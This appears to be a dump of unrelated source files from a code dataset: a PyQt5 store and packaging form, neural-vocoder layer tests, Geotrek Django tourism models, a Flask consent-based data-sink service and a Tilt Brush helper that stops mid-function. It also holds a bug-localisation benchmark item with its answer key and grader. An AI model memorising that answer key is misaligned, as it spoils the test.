self.list_embalagens.itemDoubleClicked.connect(self.embalagem_selecionada)
#QUANDO SELECIONAR UMA LOJA, COLOCAR NO TXT_LOJA
self.carrega_lojas()
self.combo_loja.currentIndexChanged.connect(self.loja_selecionada)
#QUANDO UM CADASTRADO FOR DOUBLE-CLICADO
self.tb_loja_embala_cadastrados.cellDoubleClicked.connect(self.loja_embala_selecionado)
#ATUALIZA A TABLE LOJA_EMBALA
#self.carrega_loja_embala()
header = self.tb_loja_embala_cadastrados.horizontalHeader()
self.tb_loja_embala_cadastrados.setHorizontalHeaderLabels(['Codigo', 'Tamanho', 'Unidade', 'Marca', 'Loja', 'Preço'])
#header.setSectionResizeMode(0, QtWidgets.QHeaderView.ResizeToContents)
header.setSectionResizeMode(1, QtWidgets.QHeaderView.ResizeToContents)
header.setSectionResizeMode(2, QtWidgets.QHeaderView.ResizeToContents)
header.setSectionResizeMode(3, QtWidgets.QHeaderView.ResizeToContents)
header.setSectionResizeMode(4, QtWidgets.QHeaderView.ResizeToContents)
header.setSectionResizeMode(5, QtWidgets.QHeaderView.ResizeToContents)
def carrega_loja_embala(self, id_ingrediente):
lista_dados = database_receita.select_loja_embala_por_ingrediente_lista(id_ingrediente)
pyqt5_aux.carregar_dados_table_widget(self.tb_loja_embala_cadastrados, lista_dados)
def embalagem_selecionada(self, item):
self.combo_loja.setEnabled(True)
self.btn_ativa_loja.setEnabled(True)
self.btn_cadastrar.setEnabled(True)
self.btn_limpar.setEnabled(True)
self.double_preco.setEnabled(True)
self.txt_embalagem.setText(str(item.text()))
def loja_selecionada(self, item):
try:
_, nome = str(self.combo_loja.currentText()).split(' - ')
self.txt_loja.setText(nome)
except:
self.txt_loja.clear()
def ingrediente_selecionado(self, item):
try:
id_ingrediente = str(self.combo_ingrediente.currentText()).split(' - ')[0]
self.carrega_embalagens(id_ingrediente)
self.list_embalagens.setEnabled(True)
self.carrega_loja_embala(id_ingrediente)
except:
self.list_embalagens.setEnabled(False)
def carrega_ingredientes(self):
lista_ingredientes = ['Ingredientes cadastrados']
lista_ingredientes += database_receita.select_ingredientes_nomes()
self.combo_ingrediente.addItems(lista_ingredientes)
def cadastrar_loja_embala(self):
try:
id_loja, nome_loja = self.combo_loja.currentText().split(' - ')
except ValueError:
id_loja, nome_loja = 0, self.txt_loja.text()
#CADASTRA LOJA SE FOR NOVA
if(self.txt_loja.isEnabled()):
id_loja = database_receita.insere_loja(nome_loja)
#PEGAR OS DADOS: ID_LOJA, ID_EMBALAGEM, PRECO
id_embalagem = int(str(self.txt_embalagem.text()).split(' - ')[0])
preco = self.double_preco.value()
#CADASTRA LOJA_EMBALA
database_receita.insere_loja_embala(preco, id_loja, id_embalagem)
#ATUALIZA A TABLE LOJA_EMBALA
id_ingrediente = self.combo_ingrediente.currentText().split(' - ')[0]
self.carrega_loja_embala(id_ingrediente)
#LIMPA: LOJA, PRECO, TXT_EMBALAGEM
self.txt_loja.clear()
self.txt_loja.setEnabled(False)
self.btn_ativa_loja.setText('+')
self.btn_ativa_loja.setEnabled(False)
self.carrega_lojas()
self.double_preco.clear()
self.double_preco.setEnabled(False)
self.txt_embalagem.clear()
#DESATIVA BOTOES: CADASTRAR, LIMPAR
self.btn_cadastrar.setEnabled(False)
self.btn_limpar.setEnabled(False)
def carrega_embalagens(self, id_ingrediente):
self.list_embalagens.clear()
lista_embalagens = database_receita.select_embalagens_por_ingrediente_nomes(id_ingrediente)
self.list_embalagens.addItems(lista_embalagens)
def carrega_lojas(self):
self.combo_loja.clear()
lista_lojas = ['Lojas cadastradas']
lista_lojas += database_receita.select_lojas_nomes()
self.combo_loja.addItems(lista_lojas)
def ativar_loja(self):
if(self.txt_loja.isEnabled()):
self.txt_loja.clear()
self.txt_loja.setEnabled(False)
self.btn_ativa_loja.setText('+')
self.combo_loja.setEnabled(True)
else:
self.txt_loja.setEnabled(True)
self.btn_ativa_loja.setText('-')
self.combo_loja.setEnabled(False)
def limpar_loja_embala(self):
#LIMPA: LOJA, PRECO, TXT_EMBALAGEM
self.txt_loja.clear()
self.txt_loja.setEnabled(False)
self.btn_ativa_loja.setText('+')
self.btn_ativa_loja.setEnabled(False)
self.carrega_lojas()
self.double_preco.clear()
self.double_preco.setEnabled(False)
def loja_embala_selecionado(self, linha, coluna):
id_loja_embala = self.tb_loja_embala_cadastrados.item(linha, 0).text()
_, _, id_loja, id_embalagem = database_receita.select_loja_embala_por_id(id_loja_embala)
tamanho = self.tb_loja_embala_cadastrados.item(linha, 1).text()
unidade = self.tb_loja_embala_cadastrados.item(linha, 2).text()
marca = self.tb_loja_embala_cadastrados.item(linha, 3).text()
nome_loja = self.tb_loja_embala_cadastrados.item(linha, 4).text()
preco = self.tb_loja_embala_cadastrados.item(linha, 5).text()
ingrediente = self.combo_ingrediente.currentText().split(' - ')[1]
print(id_loja_embala, id_embalagem, tamanho, unidade, marca, id_loja, nome_loja, preco, ingrediente)
self.switch_tela_gerenciar_loja_embala.emit(int(id_loja_embala), int(id_embalagem), float(tamanho), unidade, marca, int(id_loja), nome_loja, float(preco), ingrediente)
def fechar_tela(self):
self.close()
| 7,094 | 2,651 |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Copyright 2019 Tomoki Hayashi
# MIT License (https://opensource.org/licenses/MIT)
import logging
import numpy as np
import torch
from parallel_wavegan.layers import Conv1d
from parallel_wavegan.layers import Conv1d1x1
from parallel_wavegan.layers import Conv2d
from parallel_wavegan.layers import ConvInUpsampleNetwork
from parallel_wavegan.layers import UpsampleNetwork
logging.basicConfig(
level=logging.DEBUG, format="%(asctime)s (%(module)s:%(lineno)d) %(levelname)s: %(message)s")
def test_conv_initialization():
conv = Conv1d(10, 10, 3, bias=True)
np.testing.assert_array_equal(conv.bias.data.numpy(),
np.zeros_like(conv.bias.data.numpy()))
conv1x1 = Conv1d1x1(10, 10, bias=True)
np.testing.assert_array_equal(conv1x1.bias.data.numpy(),
np.zeros_like(conv1x1.bias.data.numpy()))
kernel_size = (10, 10)
conv2d = Conv2d(10, 10, kernel_size, bias=True)
np.testing.assert_array_equal(conv2d.weight.data.numpy(),
np.ones_like(conv2d.weight.data.numpy()) / np.prod(kernel_size))
np.testing.assert_array_equal(conv2d.bias.data.numpy(),
np.zeros_like(conv2d.bias.data.numpy()))
kernel_size = (1, 10)
conv2d = Conv2d(10, 10, kernel_size, bias=True)
np.testing.assert_array_equal(conv2d.weight.data.numpy(),
np.ones_like(conv2d.weight.data.numpy()) / np.prod(kernel_size))
np.testing.assert_array_equal(conv2d.bias.data.numpy(),
np.zeros_like(conv2d.bias.data.numpy()))
def test_upsample():
length = 10
scales = [4, 4]
x = torch.randn(1, 10, length)
upsample = UpsampleNetwork(scales)
y = upsample(x)
assert x.size(-1) * np.prod(scales) == y.size(-1)
for aux_context_window in [0, 1, 2, 3]:
conv_upsample = ConvInUpsampleNetwork(scales,
aux_channels=x.size(1),
aux_context_window=aux_context_window)
y = conv_upsample(x)
assert (x.size(-1) - 2 * aux_context_window) * np.prod(scales) == y.size(-1)
| 2,253 | 817 |
import os
import re
import logging
from django.conf import settings
from django.contrib.gis.db import models
from django.utils.translation import ugettext_lazy as _
from django.utils.formats import date_format
from easy_thumbnails.alias import aliases
from easy_thumbnails.exceptions import InvalidImageFormatError
from easy_thumbnails.files import get_thumbnailer
from mapentity.registry import registry
from mapentity.models import MapEntityMixin
from mapentity.serializers import plain_text, smart_plain_text
from geotrek.authent.models import StructureRelated
from geotrek.core.models import Topology
from geotrek.common.mixins import (NoDeleteMixin, TimeStampedModelMixin,
PictogramMixin, OptionalPictogramMixin,
PublishableMixin, PicturesMixin,
AddPropertyMixin)
from geotrek.common.models import Theme
from geotrek.common.utils import intersecting
from extended_choices import Choices
if 'modeltranslation' in settings.INSTALLED_APPS:
from modeltranslation.manager import MultilingualManager
else:
from django.db.models import Manager as MultilingualManager
logger = logging.getLogger(__name__)
def _get_target_choices():
""" Populate choices using installed apps names.
"""
apps = [('public', _("Public website"))]
for model, entity in registry.registry.items():
if entity.menu:
appname = model._meta.app_label.lower()
apps.append((appname, unicode(entity.label)))
return tuple(apps)
class InformationDeskType(PictogramMixin):
label = models.CharField(verbose_name=_(u"Label"), max_length=128, db_column='label')
class Meta:
db_table = 't_b_type_renseignement'
verbose_name = _(u"Information desk type")
verbose_name_plural = _(u"Information desk types")
ordering = ['label']
def __unicode__(self):
return self.label
class InformationDesk(models.Model):
name = models.CharField(verbose_name=_(u"Title"), max_length=256, db_column='nom')
type = models.ForeignKey(InformationDeskType, verbose_name=_(u"Type"),
related_name='desks', db_column='type')
description = models.TextField(verbose_name=_(u"Description"), blank=True, db_column='description',
help_text=_(u"Brief description"))
phone = models.CharField(verbose_name=_(u"Phone"), max_length=32,
blank=True, null=True, db_column='telephone')
email = models.EmailField(verbose_name=_(u"Email"), max_length=256, db_column='email',
blank=True, null=True)
website = models.URLField(verbose_name=_(u"Website"), max_length=256, db_column='website',
blank=True, null=True)
photo = models.FileField(verbose_name=_(u"Photo"), upload_to=settings.UPLOAD_DIR,
db_column='photo', max_length=512, blank=True, null=True)
street = models.CharField(verbose_name=_(u"Street"), max_length=256,
blank=True, null=True, db_column='rue')
postal_code = models.CharField(verbose_name=_(u"Postal code"), max_length=8,
blank=True, null=True, db_column='code')
municipality = models.CharField(verbose_name=_(u"Municipality"),
blank=True, null=True,
max_length=256, db_column='commune')
geom = models.PointField(verbose_name=_(u"Emplacement"), db_column='geom',
blank=True, null=True,
srid=settings.SRID, spatial_index=False)
objects = models.GeoManager()
class Meta:
db_table = 't_b_renseignement'
verbose_name = _(u"Information desk")
verbose_name_plural = _(u"Information desks")
ordering = ['name']
def __unicode__(self):
return self.name
@property
def description_strip(self):
"""Used in trek public template.
"""
nobr = re.compile(r'(\s*<br.*?>)+\s*', re.I)
newlines = nobr.sub("\n", self.description)
return smart_plain_text(newlines)
@property
def serializable_type(self):
return {
'id': self.type.id,
'label': self.type.label,
'pictogram': self.type.pictogram.url,
}
@property
def latitude(self):
if self.geom:
api_geom = self.geom.transform(settings.API_SRID, clone=True)
return api_geom.y
return None
@property
def longitude(self):
if self.geom:
api_geom = self.geom.transform(settings.API_SRID, clone=True)
return api_geom.x
return None
@property
def thumbnail(self):
if not self.photo:
return None
thumbnailer = get_thumbnailer(self.photo)
try:
return thumbnailer.get_thumbnail(aliases.get('thumbnail'))
except InvalidImageFormatError:
logger.warning(_("Image %s invalid or missing from disk.") % self.photo)
return None
@property
def photo_url(self):
thumbnail = self.thumbnail
if not thumbnail:
return None
return os.path.join(settings.MEDIA_URL, thumbnail.name)
GEOMETRY_TYPES = Choices(
('POINT', 'point', _('Point')),
('LINE', 'line', _('Line')),
('POLYGON', 'polygon', _('Polygon')),
('ANY', 'any', _('Any')),
)
class TouristicContentCategory(PictogramMixin):
label = models.CharField(verbose_name=_(u"Label"), max_length=128, db_column='nom')
geometry_type = models.CharField(db_column="type_geometrie", max_length=16,
choices=GEOMETRY_TYPES, default=GEOMETRY_TYPES.POINT)
type1_label = models.CharField(verbose_name=_(u"First list label"), max_length=128,
db_column='label_type1', blank=True)
type2_label = models.CharField(verbose_name=_(u"Second list label"), max_length=128,
db_column='label_type2', blank=True)
order = models.IntegerField(verbose_name=_(u"Order"), null=True, blank=True, db_column='tri',
help_text=_(u"Alphabetical order if blank"))
id_prefix = 'C'
class Meta:
db_table = 't_b_contenu_touristique_categorie'
verbose_name = _(u"Touristic content category")
verbose_name_plural = _(u"Touristic content categories")
ordering = ['order', 'label']
def __unicode__(self):
return self.label
@property
def prefixed_id(self):
return '{prefix}{id}'.format(prefix=self.id_prefix, id=self.id)
class TouristicContentType(OptionalPictogramMixin):
label = models.CharField(verbose_name=_(u"Label"), max_length=128, db_column='nom')
category = models.ForeignKey(TouristicContentCategory, related_name='types',
verbose_name=_(u"Category"), db_column='categorie')
# Choose in which list of choices this type will appear
in_list = models.IntegerField(choices=((1, _(u"First")), (2, _(u"Second"))), db_column='liste_choix')
class Meta:
db_table = 't_b_contenu_touristique_type'
verbose_name = _(u"Touristic content type")
verbose_name_plural = _(u"Touristic content type")
ordering = ['label']
def __unicode__(self):
return self.label
class TouristicContentType1Manager(MultilingualManager):
def get_queryset(self):
return super(TouristicContentType1Manager, self).get_queryset().filter(in_list=1)
class TouristicContentType2Manager(MultilingualManager):
def get_queryset(self):
return super(TouristicContentType2Manager, self).get_queryset().filter(in_list=2)
class TouristicContentType1(TouristicContentType):
objects = TouristicContentType1Manager()
def __init__(self, *args, **kwargs):
self._meta.get_field('in_list').default = 1
super(TouristicContentType1, self).__init__(*args, **kwargs)
class Meta:
proxy = True
verbose_name = _(u"Type")
verbose_name_plural = _(u"First list types")
class TouristicContentType2(TouristicContentType):
objects = TouristicContentType2Manager()
def __init__(self, *args, **kwargs):
self._meta.get_field('in_list').default = 2
super(TouristicContentType2, self).__init__(*args, **kwargs)
class Meta:
proxy = True
verbose_name = _(u"Type")
verbose_name_plural = _(u"Second list types")
class ReservationSystem(models.Model):
name = models.CharField(verbose_name=_(u"Name"), max_length=256,
blank=False, null=False, unique=True)
def __unicode__(self):
return self.name
class Meta:
db_table = 't_b_systeme_reservation'
verbose_name = _(u"Reservation system")
verbose_name_plural = _(u"Reservation systems")
class TouristicContent(AddPropertyMixin, PublishableMixin, MapEntityMixin, StructureRelated,
TimeStampedModelMixin, PicturesMixin, NoDeleteMixin):
""" A generic touristic content (accomodation, museum, etc.) in the park
"""
description_teaser = models.TextField(verbose_name=_(u"Description teaser"), blank=True,
help_text=_(u"A brief summary"), db_column='chapeau')
description = models.TextField(verbose_name=_(u"Description"), blank=True, db_column='description',
help_text=_(u"Complete description"))
themes = models.ManyToManyField(Theme, related_name="touristiccontents",
db_table="t_r_contenu_touristique_theme", blank=True, verbose_name=_(u"Themes"),
help_text=_(u"Main theme(s)"))
geom = models.GeometryField(verbose_name=_(u"Location"), srid=settings.SRID)
category = models.ForeignKey(TouristicContentCategory, related_name='contents',
verbose_name=_(u"Category"), db_column='categorie')
contact = models.TextField(verbose_name=_(u"Contact"), blank=True, db_column='contact',
help_text=_(u"Address, phone, etc."))
email = models.EmailField(verbose_name=_(u"Email"), max_length=256, db_column='email',
blank=True, null=True)
website = models.URLField(verbose_name=_(u"Website"), max_length=256, db_column='website',
blank=True, null=True)
practical_info = models.TextField(verbose_name=_(u"Practical info"), blank=True, db_column='infos_pratiques',
help_text=_(u"Anything worth to know"))
type1 = models.ManyToManyField(TouristicContentType, related_name='contents1',
verbose_name=_(u"Type 1"), db_table="t_r_contenu_touristique_type1",
blank=True)
type2 = models.ManyToManyField(TouristicContentType, related_name='contents2',
verbose_name=_(u"Type 2"), db_table="t_r_contenu_touristique_type2",
blank=True)
source = models.ManyToManyField('common.RecordSource',
blank=True, related_name='touristiccontents',
verbose_name=_("Source"), db_table='t_r_contenu_touristique_source')
portal = models.ManyToManyField('common.TargetPortal',
blank=True, related_name='touristiccontents',
verbose_name=_("Portal"), db_table='t_r_contenu_touristique_portal')
eid = models.CharField(verbose_name=_(u"External id"), max_length=1024, blank=True, null=True, db_column='id_externe')
reservation_system = models.ForeignKey(ReservationSystem, verbose_name=_(u"Reservation system"),
blank=True, null=True)
reservation_id = models.CharField(verbose_name=_(u"Reservation ID"), max_length=1024,
blank=True, db_column='id_reservation')
approved = models.BooleanField(verbose_name=_(u"Approved"), default=False, db_column='labellise')
objects = NoDeleteMixin.get_manager_cls(models.GeoManager)()
class Meta:
db_table = 't_t_contenu_touristique'
verbose_name = _(u"Touristic content")
verbose_name_plural = _(u"Touristic contents")
def __unicode__(self):
return self.name
@property
def districts_display(self):
return ', '.join([unicode(d) for d in self.districts])
@property
def type1_label(self):
return self.category.type1_label
@property
def type2_label(self):
return self.category.type2_label
@property
def type1_display(self):
return ', '.join([unicode(n) for n in self.type1.all()])
@property
def type2_display(self):
return ', '.join([unicode(n) for n in self.type2.all()])
@property
def prefixed_category_id(self):
return self.category.prefixed_id
def distance(self, to_cls):
return settings.TOURISM_INTERSECTION_MARGIN
@property
def type(self):
"""Fake type to simulate POI for mobile app v1"""
return self.category
@property
def min_elevation(self):
return 0
@property
def max_elevation(self):
return 0
@property
def portal_display(self):
return ', '.join([unicode(portal) for portal in self.portal.all()])
@property
def source_display(self):
return ','.join([unicode(source) for source in self.source.all()])
@property
def themes_display(self):
return ','.join([unicode(source) for source in self.themes.all()])
@property
def extent(self):
return self.geom.buffer(10).transform(settings.API_SRID, clone=True).extent
@property
def rando_url(self):
category_slug = _(u'touristic-content')
return '{}/{}/'.format(category_slug, self.slug)
@property
def meta_description(self):
return plain_text(self.description_teaser or self.description)[:500]
Topology.add_property('touristic_contents', lambda self: intersecting(TouristicContent, self), _(u"Touristic contents"))
Topology.add_property('published_touristic_contents', lambda self: intersecting(TouristicContent, self).filter(published=True), _(u"Published touristic contents"))
TouristicContent.add_property('touristic_contents', lambda self: intersecting(TouristicContent, self), _(u"Touristic contents"))
TouristicContent.add_property('published_touristic_contents', lambda self: intersecting(TouristicContent, self).filter(published=True), _(u"Published touristic contents"))
class TouristicEventType(OptionalPictogramMixin):
type = models.CharField(verbose_name=_(u"Type"), max_length=128, db_column='type')
class Meta:
db_table = 't_b_evenement_touristique_type'
verbose_name = _(u"Touristic event type")
verbose_name_plural = _(u"Touristic event types")
ordering = ['type']
def __unicode__(self):
return self.type
class TouristicEvent(AddPropertyMixin, PublishableMixin, MapEntityMixin, StructureRelated,
PicturesMixin, TimeStampedModelMixin, NoDeleteMixin):
""" A touristic event (conference, workshop, etc.) in the park
"""
description_teaser = models.TextField(verbose_name=_(u"Description teaser"), blank=True,
help_text=_(u"A brief summary"), db_column='chapeau')
description = models.TextField(verbose_name=_(u"Description"), blank=True, db_column='description',
help_text=_(u"Complete description"))
themes = models.ManyToManyField(Theme, related_name="touristic_events",
db_table="t_r_evenement_touristique_theme", blank=True, verbose_name=_(u"Themes"),
help_text=_(u"Main theme(s)"))
geom = models.PointField(verbose_name=_(u"Location"), srid=settings.SRID)
begin_date = models.DateField(blank=True, null=True, verbose_name=_(u"Begin date"), db_column='date_debut')
end_date = models.DateField(blank=True, null=True, verbose_name=_(u"End date"), db_column='date_fin')
duration = models.CharField(verbose_name=_(u"Duration"), max_length=64, blank=True, db_column='duree',
help_text=_(u"3 days, season, ..."))
meeting_point = models.CharField(verbose_name=_(u"Meeting point"), max_length=256, blank=True, db_column='point_rdv',
help_text=_(u"Where exactly ?"))
meeting_time = models.TimeField(verbose_name=_(u"Meeting time"), blank=True, null=True, db_column='heure_rdv',
help_text=_(u"11:00, 23:30"))
contact = models.TextField(verbose_name=_(u"Contact"), blank=True, db_column='contact')
email = models.EmailField(verbose_name=_(u"Email"), max_length=256, db_column='email',
blank=True, null=True)
website = models.URLField(verbose_name=_(u"Website"), max_length=256, db_column='website',
blank=True, null=True)
organizer = models.CharField(verbose_name=_(u"Organizer"), max_length=256, blank=True, db_column='organisateur')
speaker = models.CharField(verbose_name=_(u"Speaker"), max_length=256, blank=True, db_column='intervenant')
type = models.ForeignKey(TouristicEventType, verbose_name=_(u"Type"), blank=True, null=True, db_column='type')
accessibility = models.CharField(verbose_name=_(u"Accessibility"), max_length=256, blank=True, db_column='accessibilite')
participant_number = models.CharField(verbose_name=_(u"Number of participants"), max_length=256, blank=True, db_column='nb_places')
booking = models.TextField(verbose_name=_(u"Booking"), blank=True, db_column='reservation')
target_audience = models.CharField(verbose_name=_(u"Target audience"), max_length=128, blank=True, null=True, db_column='public_vise')
practical_info = models.TextField(verbose_name=_(u"Practical info"), blank=True, db_column='infos_pratiques',
help_text=_(u"Recommandations / To plan / Advices"))
source = models.ManyToManyField('common.RecordSource',
blank=True, related_name='touristicevents',
verbose_name=_("Source"), db_table='t_r_evenement_touristique_source')
portal = models.ManyToManyField('common.TargetPortal',
blank=True, related_name='touristicevents',
verbose_name=_("Portal"), db_table='t_r_evenement_touristique_portal')
eid = models.CharField(verbose_name=_(u"External id"), max_length=1024, blank=True, null=True, db_column='id_externe')
approved = models.BooleanField(verbose_name=_(u"Approved"), default=False, db_column='labellise')
objects = NoDeleteMixin.get_manager_cls(models.GeoManager)()
category_id_prefix = 'E'
class Meta:
db_table = 't_t_evenement_touristique'
verbose_name = _(u"Touristic event")
verbose_name_plural = _(u"Touristic events")
ordering = ['-begin_date']
def __unicode__(self):
return self.name
@property
def type1(self):
return [self.type] if self.type else []
@property
def type2(self):
return []
@property
def districts_display(self):
return ', '.join([unicode(d) for d in self.districts])
@property
def dates_display(self):
if not self.begin_date and not self.end_date:
return u""
elif not self.end_date:
return _(u"starting from {begin}").format(
begin=date_format(self.begin_date, 'SHORT_DATE_FORMAT'))
elif not self.begin_date:
return _(u"up to {end}").format(
end=date_format(self.end_date, 'SHORT_DATE_FORMAT'))
elif self.begin_date == self.end_date:
return date_format(self.begin_date, 'SHORT_DATE_FORMAT')
else:
return _(u"from {begin} to {end}").format(
begin=date_format(self.begin_date, 'SHORT_DATE_FORMAT'),
end=date_format(self.end_date, 'SHORT_DATE_FORMAT'))
@property
def prefixed_category_id(self):
return self.category_id_prefix
def distance(self, to_cls):
return settings.TOURISM_INTERSECTION_MARGIN
@property
def portal_display(self):
return ', '.join([unicode(portal) for portal in self.portal.all()])
@property
def source_display(self):
return ', '.join([unicode(source) for source in self.source.all()])
@property
def themes_display(self):
return ','.join([unicode(source) for source in self.themes.all()])
@property
def rando_url(self):
category_slug = _(u'touristic-event')
return '{}/{}/'.format(category_slug, self.slug)
@property
def meta_description(self):
return plain_text(self.description_teaser or self.description)[:500]
TouristicEvent.add_property('touristic_contents', lambda self: intersecting(TouristicContent, self), _(u"Touristic contents"))
TouristicEvent.add_property('published_touristic_contents', lambda self: intersecting(TouristicContent, self).filter(published=True), _(u"Published touristic contents"))
Topology.add_property('touristic_events', lambda self: intersecting(TouristicEvent, self), _(u"Touristic events"))
Topology.add_property('published_touristic_events', lambda self: intersecting(TouristicEvent, self).filter(published=True), _(u"Published touristic events"))
TouristicContent.add_property('touristic_events', lambda self: intersecting(TouristicEvent, self), _(u"Touristic events"))
TouristicContent.add_property('published_touristic_events', lambda self: intersecting(TouristicEvent, self).filter(published=True), _(u"Published touristic events"))
TouristicEvent.add_property('touristic_events', lambda self: intersecting(TouristicEvent, self), _(u"Touristic events"))
TouristicEvent.add_property('published_touristic_events', lambda self: intersecting(TouristicEvent, self).filter(published=True), _(u"Published touristic events"))
| 22,417 | 6,848 |
# -*- coding: utf-8 -*-
from signed_requests.signed_request_auth import SignedRequest
__author__ = 'alpaloma'
from flask import Blueprint, current_app, request
from helpers import Helpers
import requests
from json import dumps, loads
from DetailedHTTPException import error_handler
from flask_restful import Resource, Api
import logging
from jwcrypto import jwk
from Templates import Sequences
debug_log = logging.getLogger("debug")
logger = logging.getLogger("sequence")
api_Sink_blueprint = Blueprint("api_Sink_blueprint", __name__)
api = Api()
api.init_app(api_Sink_blueprint)
sq = Sequences("Service_Components Mgmnt (Sink)", {})
# import xmltodict
# @api.representation('application/xml')
# def output_xml(data, code, headers=None):
# if isinstance(data, dict):
# xm = {"response": data}
# resp = make_response(xmltodict.unparse(xm, pretty=True), code)
# resp.headers.extend(headers)
# return resp
class Status(Resource):
@error_handler
def get(self):
status = {"status": "running", "service_mode": "Sink"}
return status
class DataFlow(Resource):
def __init__(self):
super(DataFlow, self).__init__()
self.service_url = current_app.config["SERVICE_URL"]
self.operator_url = current_app.config["OPERATOR_URL"]
self.helpers = Helpers(current_app.config)
@error_handler
def post(self): # TODO Make this a GET
def renew_token(operator_url, record_id):
sq.task("Renewing Auth Token.")
token = requests.get(
"{}/api/1.2/cr/auth_token/{}".format(operator_url, record_id)) # TODO Get api path from some config?
debug_log.info("{}, {}, {}, {}".format(token.url, token.reason, token.status_code, token.text))
store_dict = {cr_id: dumps(loads(token.text.encode()))}
self.helpers.storeToken(store_dict)
def step_1():
params = request.json
debug_log.info(params)
debug_log.info(request.json)
user_id = params["user_id"]
cr_id = params["cr_id"]
rs_id = params["rs_id"]
sq.task("Get data_set_id from POST json")
data_set_id = request.args.get("dataset_id", None)
debug_log.info("data_set_id is ({}), cr_id is ({}), user_id ({}) and rs_id ({})"
.format(data_set_id, cr_id, user_id, rs_id))
sq.task("Create request")
req = {"we want": "data"}
sq.task("Validate CR")
cr = self.helpers.validate_cr(cr_id, surrogate_id=user_id)
sq.task("Validate Request from UI")
distribution_urls = self.helpers.validate_request_from_ui(cr, data_set_id, rs_id)
# Fetch data request urls
# Data request urls fetched.
debug_log.info("Data request urls fetched.")
return cr_id, cr, distribution_urls
cr_id, cr, distribution_urls = step_1()
sq.task("Validate Authorisation Token")
surrogate_id = cr["cr"]["common_part"]["surrogate_id"]
our_key = self.helpers.get_key()
our_key_pub = our_key["pub"]
tries = 3 # TODO: Get this from config
while True:
try:
aud = self.helpers.validate_authorization_token(cr_id, surrogate_id, our_key_pub)
break
except ValueError as e:
debug_log.exception(e)
renew_token(self.operator_url, cr_id)
if tries == 0:
raise EnvironmentError("Auth token validation failed and retry counter exceeded.")
tries -= 1
except TypeError as e:
debug_log.exception(e)
raise EnvironmentError("Token used too soon, halting.")
# Most verifying and checking below is done in the validate_authorization_token function by jwcrypto
# Fetch Authorisation Token related to CR from data storage by rs_id (cr_id?)
# Check Integrity ( Signed by operator, Operator's public key can be found from SLR)
# Check "Issued" timestamp
# Check "Not Before" timestamp
# Check "Not After" timestamp
# Check that "sub" contains correct public key(Our key.)
# OPT: Token expired
# Get new Authorization token, start again from validation. # TODO: Make these steps work as functions that call the next step.
# Check URL patterns in "aud" field
# Check that fetched distribution urls can be found from "aud" field
# Token validated
debug_log.info("Auth Token Validated.")
# With these two steps Sink has verified that it's allowed to make request.
# Construct request
sq.task("Construct request")
# Select request URL from "aud" field
# Add Authorisation Token to request
# Request constructed.
# Sign request
# Fetch private key pair of public key specified in Authorisation Token's "sub" field.
# Sign with fetched private key
sq.task("Fetch key used to sign request")
our_key_full = jwk.JWK()
our_key_full.import_key(**our_key["key"])
# Add signature to request
# Request signed.
# Request created.
sq.send_to("Service_Components Mgmnt (Source)", "Data Request (PoP stuff)")
# Make Data Request
for url in distribution_urls:
req = requests.get(url,
auth=SignedRequest(token=aud, sign_method=True, sign_path=True, key=our_key_full, protected=dumps(our_key["prot"])))
debug_log.info("Made data request and received following data from Source: \n{}"
.format(dumps(loads(req.content), indent=2)))
status = {"status": "ok", "service_mode": "Sink"}
return status
api.add_resource(Status, '/init')
api.add_resource(DataFlow, '/dc')
#api.add_resource(DataFlow, '/user/<string:user_id>/consentRecord/<string:cr_id>/resourceSet/<string:rs_id>')
#"http://service_components:7000/api/1.2/sink_flow/user/95479a08-80cc-4359-ba28-b8ca23ff5572_53af88dc-33de-44be-bc30-e0826db9bd6c/consentRecord/cd431509-777a-4285-8211-95c5ac577537/resourceSet/http%3A%2F%2Fservice_components%3A7000%7C%7C9aebb487-0c83-4139-b12c-d7fcea93a3ad" | 6,313 | 1,940 |
def is_bored(S):
"""
You'll be given a string of words, and your task is to count the number
of boredoms. A boredom is a sentence that starts with the word "I".
Sentences are delimited by '.', '?' or '!'.
For example:
>>> is_bored("Hello world")
0
>>> is_bored("The sky is blue. The sun is shining. I love this weather")
1
Example solution:
# line 1
import re
# line 2
sentences = re.split(r'[.?!]\s*', S)
# line 3
return sum(sentence[0:3] == 'I ' for sentence in sentences)
"""
# Please print out which line of the above program contains an error. E.g. if the bug is on line 4 then print 4
# END OF CONTEXT
print("3")
# END OF SOLUTION
def check(candidate):
import io
from contextlib import redirect_stdout
f = io.StringIO()
with redirect_stdout(f):
candidate('')
out = f.getvalue().strip('\n')
assert "3" == out
for i in range(0, 10):
if i != 3:
assert str(i) != out
if __name__ == '__main__':
check(is_bored)
| 1,075 | 369 |
# Copyright 2020 The Tilt Brush Authors
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Helpers for 3d printing."""
import os
import re
import sys
import math
import pprint
import shutil
import itertools
import subprocess
from collections import Counter
import numpy
try:
from tiltbrush.tilt import Tilt
except ImportError:
print("You need the Tilt Brush Toolkit (https://github.com/googlevr/tilt-brush-toolkit)")
print("and then put its Python directory in your PYTHONPATH.")
sys.exit(1)
from tbdata.brush_lookup import BrushLookup
# Convert strokes for 3d printing.
# True Don't touch these strokes
# False Remove these strokes from the sketch
# <name> Replace the brush for these strokes
# names can also be guids, which is useful when the name is ambiguous
BRUSH_REPLACEMENTS = [
# Good brushes
('SquarePaper', True),
('ThickGeometry', True),
('Wire', True),
# Brushes that should be replaced
('TaperedMarker', 'ThickGeometry'),
('OilPaint', 'ThickGeometry'),
('Ink', 'ThickGeometry'),
('Marker', 'ThickGeometry'),
('Paper', 'ThickGeometry'),
('FlatDeprecated','ThickGeometry'),
# Questionable
('Highlighter', 'ThickGeometry'),
('Light', 'Wire'),
# Remove particles
('Smoke', None),
('Snow', None),
('Embers', None),
('Stars', None),
# Remove animated
('Fire', None),
# Remove shader-based
('Plasma', None),
('Rainbow', None),
('Streamers', None),
]
# ----------------------------------------------------------------------
# Little utilities
# ----------------------------------------------------------------------
def msg(text):
sys.stdout.write("%-79s\r" % text[:79])
sys.stdout.flush()
def msgln(text):
sys.stdout.write("%-79s\n" % text[:79])
sys.stdout.flush()
def rgb8_to_hsl(rgb):
"""Takes a rgb8 tuple, returns a hsl tuple."""
HUE_MAX = 6
r = rgb[0] / 255.0
g = rgb[1] / 255.0
b = rgb[2] / 255.0
